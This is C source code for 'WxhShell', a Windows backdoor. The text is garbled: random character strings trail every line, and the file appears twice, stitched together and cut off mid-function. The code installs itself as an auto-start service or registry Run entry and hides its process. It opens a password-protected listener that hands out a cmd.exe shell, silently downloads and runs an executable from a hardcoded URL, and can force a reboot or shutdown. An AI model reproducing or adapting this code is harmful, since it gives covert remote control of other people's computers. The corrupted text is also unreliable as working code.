    if(Boot(SHUTDOWN)) ]+1?T)<!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6S-1Wc4  
    else { s?;rP,{:p  
    closesocket(wsh); b9M.p*!  
    ExitThread(0); Q'f!392|  
    } 0\ G`AO;D  
    break; V=<OV]0  
    } Pn)^mt  
  // 获取shell ^;J@]&[ ~  
  case 's': { A;e[-5@  
    CmdShell(wsh); zCrDbGvqF`  
    closesocket(wsh); @@L@r6  
    ExitThread(0); f wN  
    break; ahagt9[,:F  
  } (!h%) _?.l  
  // 退出 sOc<'):TK  
  case 'x': { xkv2#"*v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wJ_E\vP  
    CloseIt(wsh); )9~1XiS,  
    break; SHw%u~[hu  
    } sb 3l4(8g  
  // 离开 fo63H'7  
  case 'q': { :e-&,K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EleK*l  
    closesocket(wsh); <ex,@{n4  
    WSACleanup(); 1:-^*  
    exit(1); K`!q1 g`  
    break; !^Mk5E(  
        } I!(.tu6u6c  
  } #q{i<E 07  
  } [@Hv,  
auOYi<<>W  
  // 提示信息 VKtrSY}6T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8'=8!V  
} @Q:5{?  
  } 5#~ARk*?a  
SB#YV   
  return; 0- GA,I_  
} PV?XpT  
:tP:X+?O  
// shell模块句柄 %N\pfZ2\  
int CmdShell(SOCKET sock) !"u) `I2  
{ Nrl&"IK|J  
STARTUPINFO si; <v<TsEI  
ZeroMemory(&si,sizeof(si)); nQ\ +Za==  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lQs|B '  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bP;cDQ(g  
PROCESS_INFORMATION ProcessInfo; 8i!~w 7z  
char cmdline[]="cmd"; .lMIJN&/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zh5{t0E}C  
  return 0; 76[O3%  
} 9XGzQ45R  
>S /Zd  
// 自身启动模式 &*TwEN^h  
int StartFromService(void) du2q6"  
{ iqecm]Z0  
typedef struct uVoM2n?D%^  
{ 5MJ`B: He+  
  DWORD ExitStatus; :0BaEqX  
  DWORD PebBaseAddress; 1Yt;1k'  
  DWORD AffinityMask; h,Y MR3:X  
  DWORD BasePriority; -a`EL]NX  
  ULONG UniqueProcessId; $KL5Z#K  
  ULONG InheritedFromUniqueProcessId; Zmf\A  
}   PROCESS_BASIC_INFORMATION; 6[BQx)7T  
OZ?4"1$.t  
PROCNTQSIP NtQueryInformationProcess; |;q*Zy(  
4]$cf:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k[oU}~*U+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A(y^1Nm  
l 6wX18~XJ  
  HANDLE             hProcess; \LB =_W$  
  PROCESS_BASIC_INFORMATION pbi; }G$rr.G  
zGFo -C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }a@ZFk_>  
  if(NULL == hInst ) return 0; [V`j@dV  
9OB[ig  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2#Fc4RR;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VNx|nP&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mf0g)X}1  
V.;,1%  
  if (!NtQueryInformationProcess) return 0; ]saf<?fzr  
mLM$dk3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7*5$=z4,1  
  if(!hProcess) return 0; gx&BzODPd0  
620y[iiK$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; />fy@nPl|  
)%8oE3O#  
  CloseHandle(hProcess); VXvr`U\  
;i`X&[y;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !pI)i*V|  
if(hProcess==NULL) return 0; :<d\//5<9  
BsVUEF,N  
HMODULE hMod;  "m3:HS  
char procName[255]; ShanwaCDqv  
unsigned long cbNeeded; nf!RB-orF  
Y >-|`2Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )5P*O5kQ -  
 =%AFn9q  
  CloseHandle(hProcess); 0 1[LPN  
_xign 3  
if(strstr(procName,"services")) return 1; // 以服务启动 #ej^K |Qx  
FKflN  
  return 0; // 注册表启动 yn<z!z%mz  
} Uh}n'Xd#{}  
P8.tl"q  
// 主模块 iZ+\vO?|  
int StartWxhshell(LPSTR lpCmdLine) "|pNS)  
{ UM%[UyYQ  
  SOCKET wsl; cOra`7L`  
BOOL val=TRUE; i> Ssp  
  int port=0;  G~T]m .  
  struct sockaddr_in door; p~M1}mE  
^GdU$%aa  
  if(wscfg.ws_autoins) Install(); }NPF]P;  
We3*WsX\  
port=atoi(lpCmdLine); Iw~3y{\  
Y?hC/ 6$7  
if(port<=0) port=wscfg.ws_port; p2|c8n==  
B?c9cS5Mj  
  WSADATA data; zcItZP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W5?F?Dp!v  
z<rdxn,9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pmXx2T#=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wzB*M}3  
  door.sin_family = AF_INET; MrjET!`.jC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9z 5K  -s  
  door.sin_port = htons(port); $DW3H1iW  
fXMVl\ <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QOIi/flK  
closesocket(wsl); /_E:sI9(  
return 1; $enh>!mU  
} u4B,|_MK  
*!UY;InanX  
  if(listen(wsl,2) == INVALID_SOCKET) { >x)YdgJ*  
closesocket(wsl); WMBntB   
return 1; <Fb3\T L  
} Fa^5.p  
  Wxhshell(wsl); i](,s.  
  WSACleanup(); Ojp)OeF\  
Y."ujo#bB  
return 0; %a+X\\v2  
G5Y5_r6Gu  
} o7VNw8Bp  
Ea1{9> S  
// 以NT服务方式启动 "+s#!Fh *  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LU4\&fd  
{ ,.tT9? m  
DWORD   status = 0; EDvK9J  
  DWORD   specificError = 0xfffffff; &$  F0  
ayyn6a8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YE&"IH]lF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; La? q>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c;e-[F7  
  serviceStatus.dwWin32ExitCode     = 0; Ld? tVi  
  serviceStatus.dwServiceSpecificExitCode = 0; )F&@ M;2p'  
  serviceStatus.dwCheckPoint       = 0; =If% m9  
  serviceStatus.dwWaitHint       = 0; C1P{4 U  
7P9n. [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Nw&Z0MI  
  if (hServiceStatusHandle==0) return; ?UQVmE&  
y|q4d(P.  
status = GetLastError(); d9|dHJf  
  if (status!=NO_ERROR) #/@U|g  
{ gBHev1^y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xBU\$ToC  
    serviceStatus.dwCheckPoint       = 0; ;OmmXygl  
    serviceStatus.dwWaitHint       = 0; FQB)rxP  
    serviceStatus.dwWin32ExitCode     = status; /dhx+K~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pca~V>Hd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s W+YfJT  
    return; %Rr!I:[ $  
  } #})Oz| c  
$-"AMZ899  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :ORCsl6-  
  serviceStatus.dwCheckPoint       = 0; sF]v$ kq  
  serviceStatus.dwWaitHint       = 0; y?<[g;MuT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VgZ<T,SuW  
} Gk,{{:M:5  
KM 4w{  
// 处理NT服务事件,比如:启动、停止 hxx,E>k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ADA%$NhJ!  
{ O+`^]D7  
switch(fdwControl) #`:s:bwM:  
{ )V JAs|  
case SERVICE_CONTROL_STOP: ?+GbPG~  
  serviceStatus.dwWin32ExitCode = 0; +-'qI_xo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E xKH%I  
  serviceStatus.dwCheckPoint   = 0; rfYu8-  
  serviceStatus.dwWaitHint     = 0; c }ivYH?`w  
  { MjE.pb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EG&^;uU  
  } ^j';4'  
  return; l7aGo1TcIh  
case SERVICE_CONTROL_PAUSE: Xn"n5 =M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m0]LY-t  
  break; *x`z5_yfO  
case SERVICE_CONTROL_CONTINUE: FFbMG:>:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; < .$<d  
  break; dJ?VN!B0  
case SERVICE_CONTROL_INTERROGATE: R%aH{UhE`  
  break; b@^M|h.Va  
}; lZ0+:DaP2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T;GBZR%  
} ?Li^XONz  
a%tm[Re  
// 标准应用程序主函数 `NXyzT`:K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dpZ7eJ   
{ m<8j' [+  
Jl Q%+$  
// 获取操作系统版本 yr&oJYM  
OsIsNt=GetOsVer(); YC&iH>jO3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _|DP  
% %c0UaV  
  // 从命令行安装 kBIF[.v(\  
  if(strpbrk(lpCmdLine,"iI")) Install(); r{)d?Ho=  
!/< 5.9!9r  
  // 下载执行文件 5|m|R"I*Y  
if(wscfg.ws_downexe) { KwPJ0 ]('_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ; VK;_d  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z/q%%(fh 0  
} >1pD'UZIy7  
?*}76u  
if(!OsIsNt) { h|=^@F_\`  
// 如果时win9x,隐藏进程并且设置为注册表启动 HCHP15otfe  
HideProc(); E}k#-+u<S4  
StartWxhshell(lpCmdLine); eN/s W!:P|  
} {9;~xxTo  
else v7Knu]  
  if(StartFromService()) <ofXNv;`  
  // 以服务方式启动 E=~H,~  
  StartServiceCtrlDispatcher(DispatchTable); dr~MyQ  
else GOJi/R.{  
  // 普通方式启动 +n,8o:fU:  
  StartWxhshell(lpCmdLine);  ~Zl`Ap  
r4 +w?=`  
return 0; Ez?vJDd  
} |r}%AN6+  
T~"tex]  
oCy52Bm.!  
+D?d)lK  
=========================================== :N8D1e-a  
<kLY1 EILM  
8S]Mf*~S'  
6;n^/3*#  
L!S-f4^5  
yel>-=Vn  
" d/Py,  
,EZ&n[%Ko  
#include <stdio.h> %T'?7^\>  
#include <string.h> *Z{$0K  
#include <windows.h> 1"/V?ArfL  
#include <winsock2.h> + A0@# :B  
#include <winsvc.h> qu[w_1%S  
#include <urlmon.h> !Q.c8GRUQ  
V.y+u7<3}  
#pragma comment (lib, "Ws2_32.lib") W3<O+S&  
#pragma comment (lib, "urlmon.lib") KNY<"b  
)[p8  
#define MAX_USER   100 // 最大客户端连接数 #> CN,eiZ  
#define BUF_SOCK   200 // sock buffer OzO_E8Kb\  
#define KEY_BUFF   255 // 输入 buffer ]XPGlM  
bx6@FKns}  
#define REBOOT     0   // 重启 7[D0n7B@  
#define SHUTDOWN   1   // 关机 C{!Czz.N  
* D AgcB  
#define DEF_PORT   5000 // 监听端口 g,,cV+  
 u`bWn  
#define REG_LEN     16   // 注册表键长度 n:*+pL;  
#define SVC_LEN     80   // NT服务名长度 7y[B[$P  
_Fz )2h,3  
// 从dll定义API Ku&(+e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e3S6+H),I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); //J:p,AF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]G1j\wnF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t<`ar@}  
HhqqJEp0  
// wxhshell配置信息 U">OdoZ,E+  
struct WSCFG { dtF6IdAf  
  int ws_port;         // 监听端口 @%#(Hse  
  char ws_passstr[REG_LEN]; // 口令 kk~{2   
  int ws_autoins;       // 安装标记, 1=yes 0=no >,] #~d  
  char ws_regname[REG_LEN]; // 注册表键名 dtg Ja_  
  char ws_svcname[REG_LEN]; // 服务名 >p<( CVX[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SN]/~>/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gi<f/xQk>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vi5~Rd`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5Q%#Z L/'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y\op9 Fw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E_H1X'|qS4  
R=e`QMq  
}; Q'8v!/"}p{  
?-i|f_`  
// default Wxhshell configuration c<H4rB  
struct WSCFG wscfg={DEF_PORT, jV<LmVcZY  
    "xuhuanlingzhe", rW`F|F%  
    1, UoLO#C0i  
    "Wxhshell", #e|eWi>  
    "Wxhshell", x _2]G'  
            "WxhShell Service", ze 4/XR  
    "Wrsky Windows CmdShell Service", ?BLOc;I&a  
    "Please Input Your Password: ", 26Yg?:kP  
  1, {^\-%3$  
  "http://www.wrsky.com/wxhshell.exe", Xs!eV  
  "Wxhshell.exe" plf<O5'  
    }; JHQ8o5bEQp  
4;*V^\',9  
// 消息定义模块 mD=?C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t&&OhHK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *,R e&N8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %]R#}amW  
char *msg_ws_ext="\n\rExit."; `Ch6"= t  
char *msg_ws_end="\n\rQuit."; H!Od.$ZIX  
char *msg_ws_boot="\n\rReboot..."; 8odVdivh  
char *msg_ws_poff="\n\rShutdown..."; HhpP}9P;  
char *msg_ws_down="\n\rSave to "; @i`gR%  
~Fx[YPO,  
char *msg_ws_err="\n\rErr!"; <pE G8_{}  
char *msg_ws_ok="\n\rOK!"; o?b%L  
5sE^MS1  
char ExeFile[MAX_PATH]; {c J6Lq&  
int nUser = 0; h)<R#xw  
HANDLE handles[MAX_USER]; )ld7^G  
int OsIsNt; MO D4O4z&  
3jI.!xD`  
SERVICE_STATUS       serviceStatus; S :}s|![p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V\G>e{  
A]J^{h0 k  
// 函数声明 hD,- !R  
int Install(void); AzV5Re8M  
int Uninstall(void); va<+)b\  
int DownloadFile(char *sURL, SOCKET wsh); $` oA$E3  
int Boot(int flag); ?UxY4m%R;  
void HideProc(void); cpy"1=K~M  
int GetOsVer(void); /Mk)H d  
int Wxhshell(SOCKET wsl); YL. z|{\e  
void TalkWithClient(void *cs); h49Q2`  
int CmdShell(SOCKET sock); ~"wD4Ue  
int StartFromService(void); nY8UJy}<oL  
int StartWxhshell(LPSTR lpCmdLine); J~}UG]j n  
)s8r(.W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F#PJ+W*h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ((5zwD  
XgbGC*dQ  
// 数据结构和表定义 7*5ctc!dG  
SERVICE_TABLE_ENTRY DispatchTable[] = ]lo1Kw  
{ |HA7 C  
{wscfg.ws_svcname, NTServiceMain}, KF'M4P  
{NULL, NULL} &Ch)SD  
}; 9s!/yiP5  
|-mazvA  
// 自我安装 jgstx3  
int Install(void) \1Bgs^  
{ <2 Q@^  
  char svExeFile[MAX_PATH]; Y/^<t'o&  
  HKEY key; n>4S P_[E7  
  strcpy(svExeFile,ExeFile); S?{5DxilO  
ep?0@5D}]  
// 如果是win9x系统,修改注册表设为自启动 '-vy Q^  
if(!OsIsNt) { n~ql]Ln  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [v`4OQF/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gfYB|VyWo  
  RegCloseKey(key); 3/AUV%+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . $k"+E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v<SEGv-  
  RegCloseKey(key); IBqY$K+l  
  return 0; /OP*ARoC21  
    } gctaarB&  
  } Cm4 *sN.&)  
} A1q^E(}O  
else { F[u%t34'  
p4t)Z#0  
// 如果是NT以上系统,安装为系统服务 sfV.X:ev  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =l(JJ  
if (schSCManager!=0) *p3P\ H^5  
{ SSXS  
  SC_HANDLE schService = CreateService d0B+syl&4l  
  ( eTc`FXw`  
  schSCManager, v2{O67j} o  
  wscfg.ws_svcname, k~R[5W|'  
  wscfg.ws_svcdisp, vo$66A  
  SERVICE_ALL_ACCESS, /4?`F} 7)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]cr;PRyv  
  SERVICE_AUTO_START, =#tQIhX`  
  SERVICE_ERROR_NORMAL, DSC4  
  svExeFile, b8>9mKs  
  NULL, ddP,_.0  
  NULL, h7$!wf!I  
  NULL, @9h#o5y q  
  NULL, ~Z2eQx jtM  
  NULL PR?clg=z  
  ); :#}`uR,D/  
  if (schService!=0) f 99PwE(=  
  { <<6w9wNon  
  CloseServiceHandle(schService); G!8pF  
  CloseServiceHandle(schSCManager); ?nW#qy!R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b0X[x{k"  
  strcat(svExeFile,wscfg.ws_svcname); 5B 7*Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^W D$ gd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @>5<m'}2  
  RegCloseKey(key); }^[@m#  
  return 0; 1VFqT'  
    } pCc7T-"og  
  } %B*dj9n^q  
  CloseServiceHandle(schSCManager); !j9i=YDb  
} mPin\-I  
} B: ~;7A\  
<gLtX[v!CL  
return 1; 05B+WJ1  
} m;f?}z_\$  
YZRB4T9  
// 自我卸载 wF8\  
int Uninstall(void) j\f$r,4  
{ )|R9mW=k9P  
  HKEY key;  ~C/KA6H  
od1omYsR  
if(!OsIsNt) { 1`lFF_stkP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UwkX[u  
  RegDeleteValue(key,wscfg.ws_regname); ^4pKsO3ul  
  RegCloseKey(key); o2d~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L_"(A #H:  
  RegDeleteValue(key,wscfg.ws_regname); T''+zk  
  RegCloseKey(key); Ki/5xK=s  
  return 0; Xp6*Y1Y  
  } c)MR+'d\WO  
} ]Cn*C{  
} [IFRwQ^%_O  
else { ;Ia1L{472m  
jHH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MuV0;K \  
if (schSCManager!=0) SRN9(LN  
{ ]t)M}^w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *g4Cy 8$  
  if (schService!=0) ]A$^ l,  
  { Treh{s  
  if(DeleteService(schService)!=0) { !9xANSb  
  CloseServiceHandle(schService); j9ta0~x1*6  
  CloseServiceHandle(schSCManager); 4V|z)=)A  
  return 0; yM:~{;HLF  
  } t* vg]Yc  
  CloseServiceHandle(schService); qMES<UL>  
  } gH^$Y~Lx  
  CloseServiceHandle(schSCManager); xeM':hD.o  
} IXvz&4VD  
} |4. o$*0Y  
gkML .u  
return 1; KM}4^Qc  
} )]>G,.9C}  
QYfAf3te  
// 从指定url下载文件 ~}-p5q2  
int DownloadFile(char *sURL, SOCKET wsh) '0')6zW5s  
{ c48J!,jCd'  
  HRESULT hr; %;(|KrUN  
char seps[]= "/";  OI_/7@L  
char *token; /~l/_Jct@G  
char *file; }&T<wm!  
char myURL[MAX_PATH]; Of7) A  
char myFILE[MAX_PATH]; I49l2>  
{L4>2rF  
strcpy(myURL,sURL); t9n   
  token=strtok(myURL,seps); j22#Bw  
  while(token!=NULL) OZ!$%.?l  
  { L\Fu']l  
    file=token; >9<8G]vcH  
  token=strtok(NULL,seps); O%K?l}e  
  } @=NVOJy}c  
e*2&s5 #RT  
GetCurrentDirectory(MAX_PATH,myFILE); (Ef2 w[ '  
strcat(myFILE, "\\"); B_"OA3d_  
strcat(myFILE, file); &O6;nJEI  
  send(wsh,myFILE,strlen(myFILE),0); 9MB\z"b?A  
send(wsh,"...",3,0); LlA`QLe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rw8J:?0x  
  if(hr==S_OK) nN=:#4 >Y  
return 0;  pO/SV6N  
else vbA7I<;  
return 1; A2|o=mOH  
))IgB).3M  
} 7t-*L}~WA  
`@$"L/AJ  
// 系统电源模块 B}q  
int Boot(int flag) ?$J7%I@  
{ |c oEBFG  
  HANDLE hToken; F7Dc!JNa  
  TOKEN_PRIVILEGES tkp; -S,ir  
827)n[#%|  
  if(OsIsNt) { =EcIXDzC>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p_5>?[TW:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #OD@q;  
    tkp.PrivilegeCount = 1; ! [|vx!p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cCh0?g7nV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J[<pZ [  
if(flag==REBOOT) { QypiF*fSU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *{.&R9#7U'  
  return 0; s0)qlm*  
} p&OJa$N$[  
else { BK(pJNBh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c3zT(FgO>N  
  return 0; /m Q2;*|  
} }+{*, z  
  } y '_V/w s  
  else { RD6h=n4B  
if(flag==REBOOT) { g<2lPH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?Rt 1CDu  
  return 0; x0u?*5-t  
} 7~kpRa@\P  
else { &ppE|[{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7O8V1Tt  
  return 0; /OhaERv  
} ]Z.<c$  
} m]0^  
!bZhj3.  
return 1; piYws<Q  
} vLnq%@x  
Q(=Vk~v  
// win9x进程隐藏模块 8K@"B  
void HideProc(void) B:3+',i1  
{ l&6U|q`  
`R=a@DQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {DEzuU  
  if ( hKernel != NULL ) ZL-uwI!`D  
  { *R_'$+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >9o,S3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z"6ZDC6  
    FreeLibrary(hKernel); (#j2P0B  
  } <\1}@?NGC  
9C557$nS^  
return; jiA5oX^g  
} U`bC>sCp  
_W@,@hOH  
// 获取操作系统版本 fa!3/X+  
int GetOsVer(void) lFp!XZ!  
{ 1u"R=D9p,=  
  OSVERSIONINFO winfo; ).0V%}>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *? K4!q'  
  GetVersionEx(&winfo); /S7+B ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]z-']R;  
  return 1; %_B:EMPd  
  else , @%C8Z  
  return 0; -H1"OJ2aF  
} ! Q|J']|  
JqI6k6~Q^  
// 客户端句柄模块 v!<PDw2'  
int Wxhshell(SOCKET wsl) ~vW)1XnK  
{ S|K |rDr0n  
  SOCKET wsh; >]Mq)V9  
  struct sockaddr_in client; oupJJDpP  
  DWORD myID; =cf{f]N  
LPEjRG,  
  while(nUser<MAX_USER) T&9`?QD  
{ c;c:Ea5  
  int nSize=sizeof(client); P$p@5hl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D^66p8t  
  if(wsh==INVALID_SOCKET) return 1; 8_xnWMOe  
{PN:bb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \We"?1^  
if(handles[nUser]==0) 98ca[.ui  
  closesocket(wsh); 6#E]zmXO2  
else K#GXpj  
  nUser++; Ms.PO{wb  
  } IXGW2z;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b7,  
(bg}an  
  return 0; i Td-n9  
} L7SEswMti  
KK:N [x  
// 关闭 socket u$W Bc\ j  
void CloseIt(SOCKET wsh) CnabD{uTf  
{ '"oo;`g7  
closesocket(wsh); >?S\~Y  
nUser--; x Z|&/Ci  
ExitThread(0); %z(9lAe  
} WwW"fkv  
NNwc!x)*  
// 客户端请求句柄 (N,nux(0k  
void TalkWithClient(void *cs) |WB"=PE  
{ WI,40&<  
0(wf{5  
  SOCKET wsh=(SOCKET)cs; fH-NU-"  
  char pwd[SVC_LEN]; j h; 9 [  
  char cmd[KEY_BUFF]; iPMB$SdfO  
char chr[1]; @q,)fBZq  
int i,j; Q 2*/`L}m\  
66oK3%[  
  while (nUser < MAX_USER) { zLh Fbyn(  
{J{1`@  
if(wscfg.ws_passstr) { ;!'qtw"CB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oz :D.V 3~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <\h*Zy  
  //ZeroMemory(pwd,KEY_BUFF); 1+R:3(AC  
      i=0; GA.BI"l  
  while(i<SVC_LEN) { Y;8 >=0ye  
V?=TVI*k  
  // 设置超时 aw1P5aPmX  
  fd_set FdRead; >Cvjs  
  struct timeval TimeOut; \ 0D$Mie  
  FD_ZERO(&FdRead); 1XG$ z@NN  
  FD_SET(wsh,&FdRead); /v5qyR7an  
  TimeOut.tv_sec=8; rxQ<4  
  TimeOut.tv_usec=0; >&BrCu[u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !~kEtC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?RDO] I>  
Ru:n~77{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mn. `qfMh  
  pwd=chr[0]; HC J;&C73&  
  if(chr[0]==0xd || chr[0]==0xa) { a~WqUL  
  pwd=0; G OpjRA@  
  break; Po> e kz_E  
  } ]5N zK=2{  
  i++; Z #EvRC  
    } T0r<O_ubOA  
; VBpp<  
  // 如果是非法用户,关闭 socket m`'=)x|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |B eA==  
} N3Z iGD  
q'.;W@m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ( ]OFS;%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f7Zf}1|  
"MTWjW*6  
while(1) { z4g+2f7h-X  
eO'xkm  
  ZeroMemory(cmd,KEY_BUFF); )`<6taKx@n  
@YCv  
      // 自动支持客户端 telnet标准   zHV|-R  
  j=0; L%f;J/  
  while(j<KEY_BUFF) { 57U%`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Vb,zQ  
  cmd[j]=chr[0]; C,.-Q"juH  
  if(chr[0]==0xa || chr[0]==0xd) { HM):"  
  cmd[j]=0; y<|)'(  
  break; >{QdMn  
  } JPsSw  
  j++; *E}Oh  
    } qp\BV#E  
[yC"el6PM  
  // 下载文件 /tP7uVL R  
  if(strstr(cmd,"http://")) {  qtzFg#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?ZaD=nh$mK  
  if(DownloadFile(cmd,wsh)) v`SY6;<2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C%]."R cMC  
  else E`tQe5K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @89I#t6A.  
  } {S *!B  
  else { 6Hwxx5>r  
_jmkl B  
    switch(cmd[0]) { "7d.i(vw  
  a1|c2kT  
